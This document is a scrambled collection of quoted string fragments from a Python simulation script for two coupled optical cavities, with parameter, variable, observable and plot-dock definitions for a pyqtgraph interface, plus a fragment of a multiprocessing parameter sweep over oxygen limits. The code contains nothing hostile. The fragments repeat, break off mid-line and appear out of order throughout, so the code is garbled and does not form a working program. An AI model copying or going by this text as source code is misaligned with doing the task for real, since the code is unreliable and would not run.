'max': 500,", "scanning') def kernel_my_own(variables,params): ''' Takes as arguments dicts of variables", "only the size of what calculation returns; WARNING: those items", "those items won't be stored), \"help\" (str, to be displayed", "the equations. Automatically recognized pattern are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\"", "1000 , 'min': 1 , 'max': 2000, 'step': 1} params['folding']", "Here, we use pyqtgraph docks. Each plot has a dictionnary", "(300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position':", "displayed in help message). Additionnal keys are added internally: \"value\",", "variable is a dict with keys: \"type\" (e.g. np.float64, np.complex128),", "variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return", "params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return", "eq_{variable_name}), \"calculation_size\" (bool, whether you want according variable to be", "10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50, 'min':", "to the dictionnary of variables. Each observable is a dict", "plot), \"equation\" (callable, optional default is eq_{variable_name}), \"calculation_size\" (bool, whether", "'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom',", "default is eq_{variable_name}), \"calculation_size\" (bool, whether you want according variable", "docks = { 'plot1' : {'type': 'plot1D' , 'position': 'left'", "dicts of variables and params as {'key':value}. Returns a dict", "key:callable. System reserved keys: [\" \", \"q\", \"h\", \"s\", \"r\",", "message). Additionnal keys are added internally: \"value\", \"observable\" (False), \"lineedit\",", ": {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type':", "observable is a dict with keys: \"type\" (e.g. np.float64, np.complex128),", "print('end scanning') def kernel_my_own(variables,params): ''' Takes as arguments dicts of", "space'}, 'mod_B_2' : {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' :", "folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params):", "'step': 1} params['min_scan'] = {'init_cond': 0, 'min': 0., 'max': 500.,", "consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01,", "\"position\" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'),", ", 'min': 0. , 'max': 10., 'step': 0.01} params['npts_PS'] =", "= {'init_cond': -8., 'min': -10., 'max': 10., 'step': 0.01, 'help':'detuning", "in the variable/observable dictionnary with keyword \"equation\". def diff_eq_A(ui,variables, params):", "np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first", "'record_every': number of time_steps one between two consecutive record events", "} return variables def load_observables(): ''' Returns a dict of", ": {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return docks", "\"help\" (str, to be displayed in help message). Additionnal keys", "0.01} params['gamma'] = {'init_cond': 0. , 'min': -1. , 'max':", ", 'max': 1., 'step': 0.01} params['tau'] = {'init_cond': 1. ,", "params['npts_PS'] = {'init_cond': 1000 , 'min': 1 , 'max': 2000,", "to variables, observables are added internally to the dictionnary of", "as \"value\" with keys: \"type\" (accepted values: 'plot' and 'image'),", "{'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in", "1. , 'min': 0. , 'max': 10., 'step': 0.01} params['npts_PS']", ": {'type': np.complex128, 'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B} }", "position relative to another dock), size [(xlength,ylength); note that lengths", "or 'below'), \"relativeTo\" (optional, key name of another dock; position", "(list of key name(s) of docks [str] as defined in", "'plot' and 'image'), \"zoomOf\" (key name of another dock), \"position\"", "params['step_scan'] = {'init_cond': 0.05, 'min': 0.001, 'max': 10., 'step': 0.001,", "params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] +", "\"value\", \"observable\" (True), \"lineedit\", \"checkbox\". ''' observables = { 'mod_A'", "def load_observables(): ''' Returns a dict of the observables. Similar", "\"value\" with keys: \"init_cond\" (float), \"min\" (float), \"max\" (float), step", "keys of form key:callable. System reserved keys: [\" \", \"q\",", "of variables. Each observable is a dict with keys: \"type\"", "with keys: \"type\" (accepted values: 'plot' and 'image'), \"zoomOf\" (key", "dictionnary as \"value\" with keys: \"type\" (accepted values: 'plot' and", "as cm # Main parameters for window # 'record_every': number", "recognized pattern are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables); with a", "# 'record_every': number of time_steps one between two consecutive record", "return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B']", "in variables['B']] def keyboard_keys(): \"\"\" Returns a dictionnary of user", "import numpy as np #import cmath as cm # Main", "\"c\"]. This must return an empty dict if no extra", "ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): ''' Takes as arguments dicts", "'mod_A' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus", "'max': 2000, 'step': 1} params['folding'] = {'init_cond': 100 , 'min':", "params as {'key':value}. Returns a dict of the results with", "'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3',", "want according variable to be only the size of what", "equations. Automatically recognized pattern are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables);", "equation names. You should declare it in the variable/observable dictionnary", "variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params):", "declaration. Here, we use pyqtgraph docks. Each plot has a", "def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] +", "\"labels\" (dict of position:str), \"title\" (str). ''' docks = {", "'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} #", "# BEGIN Declaration of the equations. Automatically recognized pattern are", "'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05, 'min': 0.001, 'max': 10.,", "be used for plots declaration. Here, we use pyqtgraph docks.", "of position:str), \"title\" (str). ''' docks = { 'plot1' :", "'size': (300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)},", "(optional, key name of another dock; position relative to another", "record events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size':", "one between two consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot':", "is eq_{variable_name}), \"calculation_size\" (bool, whether you want according variable to", "0. , 'min': -1. , 'max': 1., 'step': 0.01} params['tau']", "{'init_cond': 10, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'}", "Returns a dict of the variables. Each variable is a", "'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B' :", "Automatically recognized pattern are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables); with", "must return an empty dict if no extra keys. \"\"\"", "to be plotted in phase space'}, 'mod_B_2' : {'type': np.float64,", "the parameters. Similarly to variables/observables, each parameter has a dictionnary", "first cavity'}, 'B' : {'type': np.complex128, 'init_cond': 0.001, 'plot': False,", "dock), size [(xlength,ylength); note that lengths arguments are only a", "False, 'equation': diff_eq_B} } return variables def load_observables(): ''' Returns", "'max': 500, 'step': 1, 'help':'detuning parameter'} return params # BEGIN", "a dict with keys: \"type\" (e.g. np.float64, np.complex128), \"init_cond\" (type),", "used plotted in image'}, #'ph_A' : {'type': np.float64, 'init_cond': 0.,", "return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:]", "{'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image',", "ploted on every plot), \"equation\" (callable, optional default is eq_{variable_name}),", "'max': 20., 'step': 0.01} params['kappa'] = {'init_cond': 2.8, 'min': 0.", "params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B']", "{'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb.", "#import cmath as cm # Main parameters for window #", "(str, to be displayed in help message). Additionnal keys are", "0.05, 'min': 0.001, 'max': 10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan']", "'max': 1000, 'step': 1} params['min_scan'] = {'init_cond': 0, 'min': 0.,", "#def eq_ph_A(variables,params): #return [cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A'])))", "help message). Additionnal keys are added internally: \"value\", \"observable\" (False),", "of another dock), \"position\" (accepted values: 'bottom', 'top', 'left', 'right',", "\"dock\" (list of key name(s) of docks [str] as defined", ": {'type': np.float64, 'init_cond': 0., 'dock':['plot3']} } return observables def", "return observables def load_params(): ''' Returns a dict of the", "as np #import cmath as cm # Main parameters for", "a dict of the variables. Each variable is a dict", "'help':'field in the first cavity'}, 'B' : {'type': np.complex128, 'init_cond':", "in the first cavity'}, 'B' : {'type': np.complex128, 'init_cond': 0.001,", ", 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' :", "0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B'", "are added internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params =", "plotted in image'}, #'ph_A' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']},", ", 'min': 1 , 'max': 2000, 'step': 1} params['folding'] =", "def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params):", "= {'init_cond': 100 , 'min': 1 , 'max': 1000, 'step':", "'above', or 'below'), \"relativeTo\" (optional, key name of another dock;", "(500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D',", "a dict of the observables. Similar to variables, observables are", "dictionnary with keyword \"equation\". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] +", "(callable, optional default is eq_{variable_name}), \"calculation_size\" (bool, whether you want", "{ 'A' : {'type': np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'],", "''' params = {} params['delta'] = {'init_cond': -8., 'min': -10.,", "values: 'plot' and 'image'), \"zoomOf\" (key name of another dock),", "\"relativeTo\" (optional, key name of another dock; position relative to", "{} def ramp_f(ui,variables,params): print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f", "1000, 'step': 1} params['min_scan'] = {'init_cond': 0, 'min': 0., 'max':", "'step': 1} params['folding'] = {'init_cond': 100 , 'min': 1 ,", "keys are added internally: \"value\", \"observable\" (True), \"lineedit\", \"checkbox\". '''", "to be displayed in help message). Additionnal keys are added", "\"r\", \"i\", \"c\"]. This must return an empty dict if", "1} params['min_scan'] = {'init_cond': 0, 'min': 0., 'max': 500., 'step':", "{'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to", "with a name after the pattern that must match the", "'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1'", "} return keys #return {} def ramp_f(ui,variables,params): print('begin scanning') for", "'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted in phase space'}, 'mod_B_2'", "'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' :", "variables and params as {'key':value}. Returns a dict of the", "''' Returns a dict of the variables. Each variable is", "variable/observable's one. Alternatively, you may use custom equation names. You", "\"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params = {} params['delta'] =", "+ params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] +", "is a dict with keys: \"type\" (e.g. np.float64, np.complex128), \"init_cond\"", "'bottom', 'top', 'left', 'right', 'above', or 'below'), \"relativeTo\" (optional, key", "(300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name'", "'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of", ": {'type': np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in", "variable/observable dictionnary with keyword \"equation\". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau']", "params['gamma'] = {'init_cond': 0. , 'min': -1. , 'max': 1.,", "Alternatively, you may use custom equation names. You should declare", "#return [cm.phase(temp) for temp in variables['B']] def keyboard_keys(): \"\"\" Returns", "'left', 'right', 'above', or 'below'), \"relativeTo\" (optional, key name of", "(accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), \"relativeTo\"", "np.complex128), \"init_cond\" (type), \"plot\" (bool, optional default is True), \"dock\"", "dict of the variables. Each variable is a dict with", "events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000,", "'help':'detuning parameter'} params['f'] = {'init_cond': 4.8, 'min': 0. , 'max':", "Returns a dict of the parameters. Similarly to variables/observables, each", "= {'init_cond': 1. , 'min': 0. , 'max': 10., 'step':", "+ (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params): return", "docks def load_variables(): ''' Returns a dict of the variables.", "optional; if not provided, will be ploted on every plot),", "- variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables,", "will be ploted on every plot), \"equation\" (callable, optional default", "return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:]", "{} params['delta'] = {'init_cond': -8., 'min': -10., 'max': 10., 'step':", "{'init_cond': 4.8, 'min': 0. , 'max': 20., 'step': 0.01} params['kappa']", "internally to the dictionnary of variables. Each observable is a", "'max': 10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50,", "variables. Each observable is a dict with keys: \"type\" (e.g.", "50, 'min': 0, 'max': 500, 'step': 1, 'help':'detuning parameter'} return", "dictionnary of user defined keys of form key:callable. System reserved", "{ 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size':", "to fill the entire dock area and obey the limits", "units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2'", "Returns a dict of the results with the same form.", "empty dict if no extra keys. \"\"\" keys = {", "custom equation names. You should declare it in the variable/observable", "= {'init_cond': 4.8, 'min': 0. , 'max': 20., 'step': 0.01}", "note that lengths arguments are only a suggestion; docks will", "dock; position relative to another dock), size [(xlength,ylength); note that", "dict with keys: \"type\" (e.g. np.float64, np.complex128), \"init_cond\" (type), \"plot\"", "int; WARNING if int this parameter will be an integer),", "may use custom equation names. You should declare it in", "\"lineedit\", \"checkbox\". ''' variables = { 'A' : {'type': np.complex128,", "lengths arguments are only a suggestion; docks will still have", "WARNING: those items won't be stored), \"help\" (str, to be", "diff_eq_{variable_name}), \"help\" (str, to be displayed in help message). Additionnal", ", 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb.", "variables['B']] def keyboard_keys(): \"\"\" Returns a dictionnary of user defined", "print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f)", "'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var':", "you want according variable to be only the size of", "'min': 0. , 'max': 10., 'step': 0.01} params['npts_PS'] = {'init_cond':", "variable to be only the size of what calculation returns;", "are added internally: \"value\", \"observable\" (True), \"lineedit\", \"checkbox\". ''' observables", "500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05, 'min':", "0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B' :", "= {'init_cond': 0, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning", "with the same form. For now the function name must", "For now the function name must start with \"kernel_\" '''", "'right', 'above', or 'below'), \"relativeTo\" (optional, key name of another", "params['max_scan'] = {'init_cond': 10, 'min': 0., 'max': 500., 'step': 0.01,", "eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt =", "(float), \"min\" (float), \"max\" (float), step (float or int; WARNING", ", 'max': 20., 'step': 0.01} params['kappa'] = {'init_cond': 2.8, 'min':", "with keys: \"type\" (e.g. np.float64, np.complex128), \"init_cond\" (type), \"plot\" (bool,", "widgets], \"labels\" (dict of position:str), \"title\" (str). ''' docks =", "''' Takes as arguments dicts of variables and params as", "pyqtgraph docks. Each plot has a dictionnary as \"value\" with", "params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def", "parameter will be an integer), \"help\" (str, to be displayed", "{'init_cond': 2.8, 'min': 0. , 'max': 10., 'step': 0.01} params['gamma']", "a dictionnary as \"value\" with keys: \"type\" (accepted values: 'plot'", "area and obey the limits of their internal widgets], \"labels\"", ",'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be", "1} params['folding'] = {'init_cond': 100 , 'min': 1 , 'max':", "of the parameters. Similarly to variables/observables, each parameter has a", "load_observables(): ''' Returns a dict of the observables. Similar to", "in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for temp", "int this parameter will be an integer), \"help\" (str, to", "variables/observables, each parameter has a dictionnary as \"value\" with keys:", "{'init_cond': 50, 'min': 0, 'max': 500, 'step': 1, 'help':'detuning parameter'}", "0. , 'max': 20., 'step': 0.01} params['kappa'] = {'init_cond': 2.8,", "'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space',", "This must return an empty dict if no extra keys.", "suggestion; docks will still have to fill the entire dock", "\"slider\", \"slider_conversion_factor\". ''' params = {} params['delta'] = {'init_cond': -8.,", "params = {} params['delta'] = {'init_cond': -8., 'min': -10., 'max':", "of A'}, 'mod_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2'", "help message). Additionnal keys are added internally: \"value\", \"observable\" (True),", "10., 'step': 0.01} params['npts_PS'] = {'init_cond': 1000 , 'min': 1", "# -*- coding: utf-8 -*- import numpy as np #import", "True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the", "System reserved keys: [\" \", \"q\", \"h\", \"s\", \"r\", \"i\",", "use pyqtgraph docks. Each plot has a dictionnary as \"value\"", "function; optional; if not provided, will be ploted on every", "ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): ''' Takes as arguments", "'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position':", "size [(xlength,ylength); note that lengths arguments are only a suggestion;", "{'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space',", "diff_eq_B} } return variables def load_observables(): ''' Returns a dict", "\"observable\" (True), \"lineedit\", \"checkbox\". ''' observables = { 'mod_A' :", "in image'}, #'ph_A' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B'", "keys: \"type\" (e.g. np.float64, np.complex128), \"init_cond\" (type), \"plot\" (bool, optional", "of the variables. Each variable is a dict with keys:", "'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan'] =", "10., 'step': 0.01, 'help':'detuning parameter'} params['f'] = {'init_cond': 4.8, 'min':", "def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] +", "1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] +", "f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning')", "np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in image'},", "of the observables. Similar to variables, observables are added internally", "10, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan']", "plot configuration def load_docks(): ''' Returns a dict to be", "'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size':", "are added internally: \"value\", \"observable\" (False), \"lineedit\", \"checkbox\". ''' variables", "{ 'mod_A' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'],", "\"equation\". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A']", "'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}},", "'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted", "variables. Each variable is a dict with keys: \"type\" (e.g.", "'dock':['plot3']} } return observables def load_params(): ''' Returns a dict", "'mod_B_2' : {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type':", ", 'min': 1 , 'max': 1000, 'step': 1} params['min_scan'] =", "after the pattern that must match the variable/observable's one. Alternatively,", "added internally to the dictionnary of variables. Each observable is", "reserved keys: [\" \", \"q\", \"h\", \"s\", \"r\", \"i\", \"c\"].", "params['kappa'] = {'init_cond': 2.8, 'min': 0. , 'max': 10., 'step':", ", 'max': 2000, 'step': 1} params['folding'] = {'init_cond': 100 ,", "entire dock area and obey the limits of their internal", "parameter'} params['step_scan'] = {'init_cond': 0.05, 'min': 0.001, 'max': 10., 'step':", "'min': 0, 'max': 500, 'step': 1, 'help':'detuning parameter'} return params", "if no extra keys. \"\"\" keys = { 't': ramp_f,", "numpy as np #import cmath as cm # Main parameters", "20., 'step': 0.01} params['kappa'] = {'init_cond': 2.8, 'min': 0. ,", "return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding'])", "'min': 0. , 'max': 10., 'step': 0.01} params['gamma'] = {'init_cond':", "variables def load_observables(): ''' Returns a dict of the observables.", "+ params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] -", "dict of the observables. Similar to variables, observables are added", "'min': 0.001, 'max': 10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] =", "added internally: \"value\", \"observable\" (True), \"lineedit\", \"checkbox\". ''' observables =", "Definition of the plot configuration def load_docks(): ''' Returns a", "'step': 0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05, 'min': 0.001,", "eq_ph_B(variables,params): #return [cm.phase(temp) for temp in variables['B']] def keyboard_keys(): \"\"\"", "[str] as defined in load_dock function; optional; if not provided,", "(float or int; WARNING if int this parameter will be" ]
[ "all default inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i)", "solve_eq function with all default inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1])", "for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def", "lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass", "lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool = Pool(4)", "'__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims pool.close()", "try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro", "except: pass #iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2):", "r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try:", "o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with all default", "it import os #parsing input into numpy arrays from input", "np import itertools as it import os #parsing input into", "in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with", "import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg])", "y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make", "input into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test])", "numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test])", "ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function", "np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the", "as np import itertools as it import os #parsing input", "with all default inputs other than o2_lim f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1]", "directories for saving raw_outputs try: os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over", "os.makedirs(\"../../raw_output/EnvEq/\"+f_name) except: pass #iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in", "solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs other", "if __name__ == 